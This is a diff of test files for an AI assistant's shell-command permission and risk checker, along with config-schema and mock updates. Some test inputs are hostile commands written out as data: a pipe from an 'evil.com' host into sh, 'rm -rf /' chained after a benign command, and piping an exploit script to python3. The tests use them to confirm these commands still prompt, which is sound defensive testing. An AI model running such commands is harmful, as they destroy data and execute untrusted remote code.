4427
|
+
const risk = await classifyRisk("bash", {
|
|
4428
|
+
command: "cat exploit.py | python3",
|
|
4429
|
+
});
|
|
4430
|
+
expect(risk).toBe(RiskLevel.High);
|
|
4431
|
+
});
|
|
4432
|
+
|
|
4433
|
+
test("proxied bash with high-risk command prompts (medium risk cap, no default allow rule)", async () => {
|
|
4434
|
+
const result = await check(
|
|
4435
|
+
"bash",
|
|
4436
|
+
{
|
|
4437
|
+
command: "cat exploit.py | python3",
|
|
4438
|
+
network_mode: "proxied",
|
|
4439
|
+
},
|
|
4440
|
+
"/tmp",
|
|
4441
|
+
);
|
|
4442
|
+
// High risk capped to medium by proxied mode, but still prompts without the bash allow rule
|
|
4443
|
+
expect(result.decision).toBe("prompt");
|
|
4419
4444
|
});
|
|
4420
4445
|
|
|
4421
4446
|
test("host_bash with network_mode=proxied follows normal flow", async () => {
|
|
@@ -4643,8 +4668,8 @@ describe("scope matching behavior", () => {
|
|
|
4643
4668
|
{ command: "npm install" },
|
|
4644
4669
|
"/home/user/other-project",
|
|
4645
4670
|
);
|
|
4646
|
-
// npm install is Low risk, so it
|
|
4647
|
-
//
|
|
4671
|
+
// npm install is Low risk, so it's auto-allowed via the risk-based
|
|
4672
|
+
// fallback, not via the project-scoped rule.
|
|
4648
4673
|
// The key assertion is that the project-scoped rule is NOT the matched rule.
|
|
4649
4674
|
if (result.matchedRule) {
|
|
4650
4675
|
expect(result.matchedRule.scope).not.toBe(projectDir);
|
|
@@ -4726,80 +4751,37 @@ describe("workspace mode — auto-allow workspace-scoped operations", () => {
|
|
|
4726
4751
|
expect(result.reason).toContain("Low risk");
|
|
4727
4752
|
});
|
|
4728
4753
|
|
|
4729
|
-
// ── bash (
|
|
4754
|
+
// ── bash (non-containerized) — workspace auto-allow blocked, risk-based fallback ──
|
|
4730
4755
|
|
|
4731
|
-
test("bash in workspace
|
|
4756
|
+
test("bash in workspace (low risk) → allow via risk-based fallback, not workspace mode", async () => {
|
|
4732
4757
|
const result = await check("bash", { command: "ls -la" }, workspaceDir);
|
|
4733
4758
|
expect(result.decision).toBe("allow");
|
|
4734
|
-
//
|
|
4735
|
-
expect(result.
|
|
4736
|
-
|
|
4737
|
-
|
|
4738
|
-
// ── bash sandbox gate — workspace auto-allow depends on sandbox being enabled ──
|
|
4739
|
-
|
|
4740
|
-
test("bash with sandbox disabled in workspace mode → falls through to risk-based policy (not auto-allowed)", async () => {
|
|
4741
|
-
const origSandbox = testConfig.sandbox.enabled;
|
|
4742
|
-
testConfig.sandbox.enabled = false;
|
|
4743
|
-
try {
|
|
4744
|
-
const result = await check(
|
|
4745
|
-
"bash",
|
|
4746
|
-
{ command: "echo hello" },
|
|
4747
|
-
workspaceDir,
|
|
4748
|
-
);
|
|
4749
|
-
// Should NOT be auto-allowed via workspace mode
|
|
4750
|
-
expect(result.reason).not.toContain("Workspace mode");
|
|
4751
|
-
// With sandbox disabled, no default bash allow rule either, so it falls through to risk-based policy
|
|
4752
|
-
expect(result.decision).toBe("allow");
|
|
4753
|
-
expect(result.reason).toContain("Low risk");
|
|
4754
|
-
} finally {
|
|
4755
|
-
testConfig.sandbox.enabled = origSandbox;
|
|
4756
|
-
}
|
|
4757
|
-
});
|
|
4758
|
-
|
|
4759
|
-
test("bash with sandbox enabled in workspace mode → auto-allowed via default rule", async () => {
|
|
4760
|
-
const origSandbox = testConfig.sandbox.enabled;
|
|
4761
|
-
testConfig.sandbox.enabled = true;
|
|
4762
|
-
try {
|
|
4763
|
-
const result = await check(
|
|
4764
|
-
"bash",
|
|
4765
|
-
{ command: "echo hello" },
|
|
4766
|
-
workspaceDir,
|
|
4767
|
-
);
|
|
4768
|
-
expect(result.decision).toBe("allow");
|
|
4769
|
-
// With sandbox enabled, the default bash allow rule matches before workspace mode
|
|
4770
|
-
expect(result.matchedRule?.id).toBe("default:allow-bash-global");
|
|
4771
|
-
} finally {
|
|
4772
|
-
testConfig.sandbox.enabled = origSandbox;
|
|
4773
|
-
}
|
|
4759
|
+
// Not auto-allowed via workspace mode — bash falls through to risk-based policy
|
|
4760
|
+
expect(result.reason).not.toContain("Workspace mode");
|
|
4761
|
+
expect(result.reason).toContain("Low risk");
|
|
4774
4762
|
});
|
|
4775
4763
|
|
|
4776
|
-
test("bash
|
|
4777
|
-
|
|
4778
|
-
|
|
4779
|
-
|
|
4780
|
-
|
|
4781
|
-
|
|
4782
|
-
|
|
4783
|
-
|
|
4784
|
-
|
|
4785
|
-
);
|
|
4786
|
-
expect(result.reason).not.toContain("Workspace mode");
|
|
4787
|
-
expect(result.decision).toBe("prompt");
|
|
4788
|
-
} finally {
|
|
4789
|
-
testConfig.sandbox.enabled = origSandbox;
|
|
4790
|
-
}
|
|
4764
|
+
test("bash in workspace (medium risk) → prompt (not auto-allowed)", async () => {
|
|
4765
|
+
// An unknown program is medium risk; without container, workspace auto-allow is blocked
|
|
4766
|
+
const result = await check(
|
|
4767
|
+
"bash",
|
|
4768
|
+
{ command: "some-unknown-program --flag" },
|
|
4769
|
+
workspaceDir,
|
|
4770
|
+
);
|
|
4771
|
+
expect(result.reason).not.toContain("Workspace mode");
|
|
4772
|
+
expect(result.decision).toBe("prompt");
|
|
4791
4773
|
});
|
|
4792
4774
|
|
|
4793
|
-
// ── proxied bash —
|
|
4775
|
+
// ── proxied bash — risk capped at medium ──
|
|
4794
4776
|
|
|
4795
|
-
test("bash with network_mode=proxied →
|
|
4777
|
+
test("bash with network_mode=proxied → prompt (medium risk, not auto-allowed outside container)", async () => {
|
|
4796
4778
|
const result = await check(
|
|
4797
4779
|
"bash",
|
|
4798
4780
|
{ command: "curl https://api.example.com", network_mode: "proxied" },
|
|
4799
4781
|
workspaceDir,
|
|
4800
4782
|
);
|
|
4801
|
-
//
|
|
4802
|
-
expect(result.decision).toBe("
|
|
4783
|
+
// Without container, bash isn't auto-allowed via workspace mode; proxied caps at medium → prompt
|
|
4784
|
+
expect(result.decision).toBe("prompt");
|
|
4803
4785
|
});
|
|
4804
4786
|
|
|
4805
4787
|
// ── host tools — default ask rules prompt ──
|
|
@@ -4900,24 +4882,17 @@ describe("shell command candidates wiring (PR 04)", () => {
|
|
|
4900
4882
|
});
|
|
4901
4883
|
|
|
4902
4884
|
test("action key rule does not match complex chain with additional action", async () => {
|
|
4903
|
-
//
|
|
4904
|
-
//
|
|
4905
|
-
testConfig.sandbox.enabled = false;
|
|
4885
|
+
// Use host_bash which has no default allow-all rule, so we can verify
|
|
4886
|
+
// that the action key candidate isn't generated for complex chains.
|
|
4906
4887
|
clearCache();
|
|
4907
|
-
|
|
4908
|
-
|
|
4909
|
-
|
|
4910
|
-
|
|
4911
|
-
|
|
4912
|
-
|
|
4913
|
-
|
|
4914
|
-
|
|
4915
|
-
// Should still prompt because the action key candidate isn't generated for complex chains
|
|
4916
|
-
expect(result.decision).toBe("prompt");
|
|
4917
|
-
} finally {
|
|
4918
|
-
testConfig.sandbox.enabled = true;
|
|
4919
|
-
clearCache();
|
|
4920
|
-
}
|
|
4888
|
+
addRule("host_bash", "action:gh pr view", "everywhere");
|
|
4889
|
+
const result = await check(
|
|
4890
|
+
"host_bash",
|
|
4891
|
+
{ command: "gh pr view 123 && rm -rf /" },
|
|
4892
|
+
"/tmp",
|
|
4893
|
+
);
|
|
4894
|
+
// Should still prompt because the action key candidate isn't generated for complex chains
|
|
4895
|
+
expect(result.decision).toBe("prompt");
|
|
4921
4896
|
});
|
|
4922
4897
|
});
|
|
4923
4898
|
|
|
@@ -4931,11 +4906,9 @@ describe("integration regressions (PR 11)", () => {
|
|
|
4931
4906
|
}
|
|
4932
4907
|
clearCache();
|
|
4933
4908
|
testConfig.permissions = { mode: "workspace" };
|
|
4934
|
-
testConfig.sandbox = { enabled: true };
|
|
4935
4909
|
});
|
|
4936
4910
|
|
|
4937
4911
|
afterEach(() => {
|
|
4938
|
-
testConfig.sandbox = { enabled: true };
|
|
4939
4912
|
try {
|
|
4940
4913
|
rmSync(join(checkerTestDir, "protected", "trust.json"));
|
|
4941
4914
|
} catch {
|
|
@@ -4960,53 +4933,46 @@ describe("integration regressions (PR 11)", () => {
|
|
|
4960
4933
|
});
|
|
4961
4934
|
|
|
4962
4935
|
test("action key rule does not match when command is part of complex chain", async () => {
|
|
4963
|
-
//
|
|
4964
|
-
|
|
4936
|
+
// Use host_bash which has no default allow-all rule, so we can verify
|
|
4937
|
+
// that the action key alone doesn't auto-allow complex chains.
|
|
4965
4938
|
clearCache();
|
|
4966
|
-
|
|
4967
|
-
addRule("bash", "action:npm", "everywhere");
|
|
4939
|
+
addRule("host_bash", "action:npm", "everywhere");
|
|
4968
4940
|
|
|
4969
|
-
|
|
4970
|
-
|
|
4971
|
-
|
|
4972
|
-
|
|
4973
|
-
|
|
4974
|
-
|
|
4975
|
-
|
|
4976
|
-
} finally {
|
|
4977
|
-
testConfig.sandbox.enabled = true;
|
|
4978
|
-
clearCache();
|
|
4979
|
-
}
|
|
4941
|
+
// Complex chain should NOT be auto-allowed by action key alone
|
|
4942
|
+
const result = await check(
|
|
4943
|
+
"host_bash",
|
|
4944
|
+
{ command: "npm install && curl http://evil.com | sh" },
|
|
4945
|
+
"/tmp",
|
|
4946
|
+
);
|
|
4947
|
+
expect(result.decision).toBe("prompt");
|
|
4980
4948
|
});
|
|
4981
4949
|
|
|
4982
4950
|
test("raw legacy rule still works alongside new action key system", async () => {
|
|
4983
|
-
// Use medium-risk commands (chmod) so they aren't
|
|
4984
|
-
//
|
|
4985
|
-
testConfig.sandbox.enabled = false;
|
|
4951
|
+
// Use host_bash with medium-risk commands (chmod) so they aren't
|
|
4952
|
+
// auto-allowed by low-risk classification or a default allow-all rule.
|
|
4986
4953
|
try {
|
|
4987
4954
|
rmSync(join(checkerTestDir, "protected", "trust.json"));
|
|
4988
4955
|
} catch {
|
|
4989
4956
|
/* may not exist */
|
|
4990
4957
|
}
|
|
4991
4958
|
clearCache();
|
|
4992
|
-
|
|
4993
|
-
addRule("bash", "chmod 644 file.txt", "everywhere");
|
|
4959
|
+
addRule("host_bash", "chmod 644 file.txt", "everywhere");
|
|
4994
4960
|
|
|
4995
|
-
|
|
4996
|
-
|
|
4997
|
-
|
|
4961
|
+
// Exact match still works
|
|
4962
|
+
const r1 = await check(
|
|
4963
|
+
"host_bash",
|
|
4964
|
+
{ command: "chmod 644 file.txt" },
|
|
4965
|
+
"/tmp",
|
|
4966
|
+
);
|
|
4967
|
+
expect(r1.decision).toBe("allow");
|
|
4998
4968
|
|
|
4999
|
-
|
|
5000
|
-
|
|
5001
|
-
|
|
5002
|
-
|
|
5003
|
-
|
|
5004
|
-
|
|
5005
|
-
|
|
5006
|
-
} finally {
|
|
5007
|
-
testConfig.sandbox.enabled = true;
|
|
5008
|
-
clearCache();
|
|
5009
|
-
}
|
|
4969
|
+
// Different chmod argument should not match this exact raw rule
|
|
4970
|
+
const r2 = await check(
|
|
4971
|
+
"host_bash",
|
|
4972
|
+
{ command: "chmod 755 other.txt" },
|
|
4973
|
+
"/tmp",
|
|
4974
|
+
);
|
|
4975
|
+
expect(r2.decision).not.toBe("allow");
|
|
5010
4976
|
});
|
|
5011
4977
|
|
|
5012
4978
|
test("scope ordering is consistent across tool types", () => {
|
|
@@ -55,7 +55,7 @@ function expectLowRisk(command: string, actual: RiskLevel): void {
|
|
|
55
55
|
// Dynamically extract subcommand names from the CLI program definition.
|
|
56
56
|
// This ensures new commands added to program.ts are automatically covered
|
|
57
57
|
// by this guard test without manual list maintenance.
|
|
58
|
-
const program = buildCliProgram();
|
|
58
|
+
const program = await buildCliProgram();
|
|
59
59
|
const ASSISTANT_SUBCOMMANDS = program.commands.map((c) => c.name());
|
|
60
60
|
|
|
61
61
|
describe("CLI command risk guard: assistant commands", () => {
|
|
@@ -169,6 +169,7 @@ describe("AssistantConfigSchema", () => {
|
|
|
169
169
|
enqueueIntervalMs: 6 * 60 * 60 * 1000,
|
|
170
170
|
supersededItemRetentionMs: 30 * 24 * 60 * 60 * 1000,
|
|
171
171
|
conversationRetentionDays: 0,
|
|
172
|
+
llmRequestLogRetentionMs: 7 * 24 * 60 * 60 * 1000,
|
|
172
173
|
});
|
|
173
174
|
});
|
|
174
175
|
|
|
@@ -421,6 +422,8 @@ describe("AssistantConfigSchema", () => {
|
|
|
421
422
|
const result = AssistantConfigSchema.parse({});
|
|
422
423
|
expect(result.permissions).toEqual({
|
|
423
424
|
mode: "workspace",
|
|
425
|
+
askBeforeActing: true,
|
|
426
|
+
hostAccess: false,
|
|
424
427
|
});
|
|
425
428
|
});
|
|
426
429
|
|
|
@@ -1128,6 +1131,8 @@ describe("loadConfig with schema validation", () => {
|
|
|
1128
1131
|
const config = loadConfig();
|
|
1129
1132
|
expect(config.permissions).toEqual({
|
|
1130
1133
|
mode: "workspace",
|
|
1134
|
+
askBeforeActing: true,
|
|
1135
|
+
hostAccess: false,
|
|
1131
1136
|
});
|
|
1132
1137
|
});
|
|
1133
1138
|
|
|
@@ -55,8 +55,8 @@ describe("requestCompressionApproval", () => {
|
|
|
55
55
|
await requestCompressionApproval(prompter);
|
|
56
56
|
|
|
57
57
|
const args = (prompter.prompt as ReturnType<typeof mock>).mock.calls[0];
|
|
58
|
-
// persistentDecisionsAllowed is index
|
|
59
|
-
expect(args[
|
|
58
|
+
// persistentDecisionsAllowed is index 8
|
|
59
|
+
expect(args[8]).toBe(false);
|
|
60
60
|
});
|
|
61
61
|
|
|
62
62
|
test("includes a description in the input", async () => {
|
|
@@ -119,8 +119,8 @@ describe("requestCompressionApproval", () => {
|
|
|
119
119
|
});
|
|
120
120
|
|
|
121
121
|
const args = (prompter.prompt as ReturnType<typeof mock>).mock.calls[0];
|
|
122
|
-
// signal is index
|
|
123
|
-
expect(args[
|
|
122
|
+
// signal is index 9
|
|
123
|
+
expect(args[9]).toBe(controller.signal);
|
|
124
124
|
});
|
|
125
125
|
|
|
126
126
|
test("works without signal option", async () => {
|
|
@@ -130,7 +130,7 @@ describe("requestCompressionApproval", () => {
|
|
|
130
130
|
|
|
131
131
|
const args = (prompter.prompt as ReturnType<typeof mock>).mock.calls[0];
|
|
132
132
|
// signal should be undefined when not provided
|
|
133
|
-
expect(args[
|
|
133
|
+
expect(args[9]).toBeUndefined();
|
|
134
134
|
});
|
|
135
135
|
|
|
136
136
|
// ── Tool name constant ──
|
|
@@ -206,11 +206,13 @@ mock.module("../daemon/conversation-memory.js", () => ({
|
|
|
206
206
|
let mockApplyRuntimeInjections: (msgs: Message[]) => Message[] = (msgs) => msgs;
|
|
207
207
|
mock.module("../daemon/conversation-runtime-assembly.js", () => ({
|
|
208
208
|
applyRuntimeInjections: (msgs: Message[]) => mockApplyRuntimeInjections(msgs),
|
|
209
|
-
|
|
209
|
+
stripInjectionsForCompaction: (msgs: Message[]) => msgs,
|
|
210
|
+
findLastInjectedNowContent: () => null,
|
|
211
|
+
readNowScratchpad: () => null,
|
|
210
212
|
}));
|
|
211
213
|
|
|
212
214
|
mock.module("../daemon/date-context.js", () => ({
|
|
213
|
-
|
|
215
|
+
formatTurnTimestamp: () => "2026-01-01 (Thu) 00:00:00 +00:00 (UTC)",
|
|
214
216
|
}));
|
|
215
217
|
|
|
216
218
|
mock.module("../daemon/history-repair.js", () => ({
|
|
@@ -226,10 +228,6 @@ mock.module("../daemon/history-repair.js", () => ({
|
|
|
226
228
|
deepRepairHistory: (msgs: Message[]) => ({ messages: msgs, stats: {} }),
|
|
227
229
|
}));
|
|
228
230
|
|
|
229
|
-
mock.module("../daemon/conversation-history.js", () => ({
|
|
230
|
-
consolidateAssistantMessages: () => {},
|
|
231
|
-
}));
|
|
232
|
-
|
|
233
231
|
const recordUsageMock = mock(() => {});
|
|
234
232
|
mock.module("../daemon/conversation-usage.js", () => ({
|
|
235
233
|
recordUsage: recordUsageMock,
|
|
@@ -195,11 +195,13 @@ mock.module("../daemon/conversation-memory.js", () => ({
|
|
|
195
195
|
|
|
196
196
|
mock.module("../daemon/conversation-runtime-assembly.js", () => ({
|
|
197
197
|
applyRuntimeInjections: (msgs: Message[]) => msgs,
|
|
198
|
-
|
|
198
|
+
stripInjectionsForCompaction: (msgs: Message[]) => msgs,
|
|
199
|
+
findLastInjectedNowContent: () => null,
|
|
200
|
+
readNowScratchpad: () => null,
|
|
199
201
|
}));
|
|
200
202
|
|
|
201
203
|
mock.module("../daemon/date-context.js", () => ({
|
|
202
|
-
|
|
204
|
+
formatTurnTimestamp: () => "2026-01-01 (Thu) 00:00:00 +00:00 (UTC)",
|
|
203
205
|
}));
|
|
204
206
|
|
|
205
207
|
mock.module("../daemon/history-repair.js", () => ({
|
|
@@ -215,11 +217,6 @@ mock.module("../daemon/history-repair.js", () => ({
|
|
|
215
217
|
deepRepairHistory: (msgs: Message[]) => ({ messages: msgs, stats: {} }),
|
|
216
218
|
}));
|
|
217
219
|
|
|
218
|
-
const consolidateAssistantMessagesMock = mock(() => false);
|
|
219
|
-
mock.module("../daemon/conversation-history.js", () => ({
|
|
220
|
-
consolidateAssistantMessages: consolidateAssistantMessagesMock,
|
|
221
|
-
}));
|
|
222
|
-
|
|
223
220
|
const recordUsageMock = mock(() => {});
|
|
224
221
|
const recordRequestLogMock = mock(() => {});
|
|
225
222
|
mock.module("../daemon/conversation-usage.js", () => ({
|
|
@@ -471,8 +468,6 @@ beforeEach(() => {
|
|
|
471
468
|
recordRequestLogMock.mockClear();
|
|
472
469
|
syncMessageToDiskMock.mockClear();
|
|
473
470
|
rebuildConversationDiskViewFromDbStateMock.mockClear();
|
|
474
|
-
consolidateAssistantMessagesMock.mockReset();
|
|
475
|
-
consolidateAssistantMessagesMock.mockImplementation(() => false);
|
|
476
471
|
});
|
|
477
472
|
|
|
478
473
|
describe("session-agent-loop", () => {
|
|
@@ -1944,48 +1939,6 @@ describe("session-agent-loop", () => {
|
|
|
1944
1939
|
expect(drainReason).toBe("loop_complete");
|
|
1945
1940
|
});
|
|
1946
1941
|
|
|
1947
|
-
test("rebuilds disk view after consolidation mutates persisted history", async () => {
|
|
1948
|
-
consolidateAssistantMessagesMock.mockReturnValue(true);
|
|
1949
|
-
|
|
1950
|
-
const ctx = makeCtx({
|
|
1951
|
-
agentLoopRun: async (
|
|
1952
|
-
messages: Message[],
|
|
1953
|
-
onEvent: (event: AgentEvent) => void,
|
|
1954
|
-
) => {
|
|
1955
|
-
onEvent({
|
|
1956
|
-
type: "message_complete",
|
|
1957
|
-
message: {
|
|
1958
|
-
role: "assistant",
|
|
1959
|
-
content: [{ type: "text", text: "done" }],
|
|
1960
|
-
},
|
|
1961
|
-
});
|
|
1962
|
-
onEvent({
|
|
1963
|
-
type: "usage",
|
|
1964
|
-
inputTokens: 10,
|
|
1965
|
-
outputTokens: 5,
|
|
1966
|
-
model: "test",
|
|
1967
|
-
providerDurationMs: 50,
|
|
1968
|
-
});
|
|
1969
|
-
return [
|
|
1970
|
-
...messages,
|
|
1971
|
-
{
|
|
1972
|
-
role: "assistant" as const,
|
|
1973
|
-
content: [{ type: "text", text: "done" }] as ContentBlock[],
|
|
1974
|
-
},
|
|
1975
|
-
];
|
|
1976
|
-
},
|
|
1977
|
-
});
|
|
1978
|
-
|
|
1979
|
-
await runAgentLoopImpl(ctx, "hi", "msg-consolidate", () => {});
|
|
1980
|
-
|
|
1981
|
-
expect(consolidateAssistantMessagesMock).toHaveBeenCalledWith(
|
|
1982
|
-
"test-conv",
|
|
1983
|
-
"msg-consolidate",
|
|
1984
|
-
);
|
|
1985
|
-
expect(rebuildConversationDiskViewFromDbStateMock).toHaveBeenCalledWith(
|
|
1986
|
-
"test-conv",
|
|
1987
|
-
);
|
|
1988
|
-
});
|
|
1989
1942
|
});
|
|
1990
1943
|
|
|
1991
1944
|
describe("stale pending surface cleanup", () => {
|